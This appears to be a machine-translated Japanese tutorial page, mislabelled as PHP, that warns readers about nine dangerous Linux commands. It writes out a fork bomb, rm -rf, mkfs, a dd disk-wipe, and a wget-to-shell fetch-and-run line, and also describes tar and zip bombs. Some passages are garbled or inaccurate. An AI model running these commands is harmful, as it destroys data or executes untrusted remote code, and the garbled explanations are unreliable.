常に注意しなければならない 9 つの PHP コマンドとコード_PHP チュートリアル-PHPチュートリアル-php.cn

常に注意しなければならない 9 つの PHP コマンドとコード_PHP チュートリアル

WBOY

リリース： 2016-07-13 10:13:29

オリジナル

867 人が閲覧しました

常に注意しなければならない 9 つの PHP コマンドとコード

Linux シェル/ターミナルコマンドは非常に強力で、単純なコマンドでもフォルダー、ファイル、またはパスフォルダーが削除される可能性があります。

場合によっては、Linux が要求もせずにコマンドを直接実行し、さまざまなデータ情報が失われることがあります。

一般的に、新しい Linux ユーザーは Web 上でこれらのコマンドを実行することをお勧めします。もちろん、このコードを書いた人の中にはそう考えない人もいます。一度書いてしまえば、これはもはや冗談ではないからです。

ここでは、システムに有害な Linux コードをいくつか集めて、それらを回避できるようにしました。覚えておいてください: このコードは非常に危険であり、さらに有害になるように変更される可能性もあります。

他に注意すべき点: 一部のコマンドは、Ubuntu で sudo プレフィックスが付いている場合にのみ有害です。 Linux の他のディストリビューションは、ルートディレクトリコマンドとして使用すると有害になります。

1. Linux フォークボムコマンド

:(){ :|: & };: Fork Bomb として知られる、Linux システムに対するサービス拒否攻撃です。 :(){ :|: & };: は bash 関数です。実行される限り、システムがフリーズするまで繰り返されます。

この問題を解決するには、システムを再起動する必要があります。したがって、Linux インターフェイスでこのコマンドを実行するときは、必ず注意してください。

2. Mv フォルダー/Dev/Null コマンド

mvfolder/dev/null も危険なコマンドです。 Dev/null または null デバイスは、このデバイスファイルに書き込まれたすべてのデータを削除するデバイスファイルです。ただし、操作プロンプトでは、書き込み操作が正常に実行されたことが示されます。これは、私たちがよくビットバックまたはブラックホールと呼ぶものです。

3. Rm -Rf コマンド

rm -rf コマンドは、Linux システムのフォルダーとその内容をすばやく削除できます。正しい使い方を知らないと、ただ泣くだけです。

m-rf コマンドの最も一般的な組み合わせと選択肢を以下に示します:

rmコマンド: Linuxシステム内のファイルを削除します
rm -f コマンド: プロンプトを表示せずにファイル内の読み取り専用ファイルを削除します
rm -r コマンドはフォルダーの内容をループします
rm -d コマンド: 空のディレクトリを削除します。ディレクトリが空でない場合、操作は実行されません。

rm -r.[^.]* コマンド: 削除プロンプトを表示してファイルとフォルダーを削除します

4.Mkfsコマンド

mkfs の機能を知らない場合、これは危険なコマンドでもあります。mkfs の後に記述されたコマンドはフォーマットされ、空の Linux ファイルシステムに置き換えられます。

ハードドライブをフォーマットするために管理者権限が必要なコマンドは次のとおりです:

mkfs.cramfs も上記のコードと同じことを実行できますが、ソースの管理権限は必要ありません。

5. タール爆弾

tar コマンドは、複数のファイルを .tar 形式の 1 つのファイル (アーカイブファイル) にまとめるために使用されます。テープアーカイブ (タール) 爆弾は彼によって作成できます。

圧縮すると、このアーカイブファイルによって、新しいディレクトリではなく現在のディレクトリに表示される、同じ名前のファイルが何万も生成されます。

tar ファイルを受信するときは、定期的に新しい保護されたディレクトリを作成し、受信した tar ファイルを解凍する前にこのディレクトリに配置すると、tar 爆弾の被害者になることを避けることができます。

6.DDコマンド

Ddコマンドはハードディスクのパーティションをコピー＆変更するために使用されます。間違った場所で使用すると危険です。

dd コマンドは以下にリストされています:

次のコマンドは、メインハードドライブ全体をゼロにします: dd if=/dev/zero of=/dev/had

7. シェルスクリプトコード

場合によっては、だまされてシェルスクリプトファイルを渡され、それをダウンロードして実行するよう求められることがあります。スクリプトには悪意のあるコードまたは危険なコードが含まれている可能性があります。コマンド形式は次のようになります: wget http://some_malicious_source -O- | wget は sh ナロースクリプトを実行するときにスクリプトをダウンロードします。

8. 悪意のあるソースコード

もしかしたら誰かがソースコードを渡してコンパイルさせてくれるかもしれません。コードは通常のコードである可能性がありますが、大規模なソースコードの中に悪意のあるコードが隠されている可能性があります。その場合、システムは脆弱です。それを避けるにはどうすればよいでしょうか?信頼できるソースからのソースコードのみが受け入れられ、コンパイルされます。

9. 減圧爆弾

あなたは zip ファイルを受け取り、この一見小さなファイル (おそらく KB ほどのサイズ) を解凍するように求められました。実際、圧縮ファイルの小さいサイズには、高度に圧縮されたデータが含まれています。

ファイルが解凍される限り、数百 GB のデータが抽出されます。この時点で、大きすぎるデータがハードディスクをいっぱいにし、ダウンタイムが発生する可能性が非常に高くなります。それを避けるにはどうすればよいでしょうか?古いことわざにあるように、安っぽくしないで、どんな文書でも受け入れてください。信頼できる情報源からの文書を受け入れてください。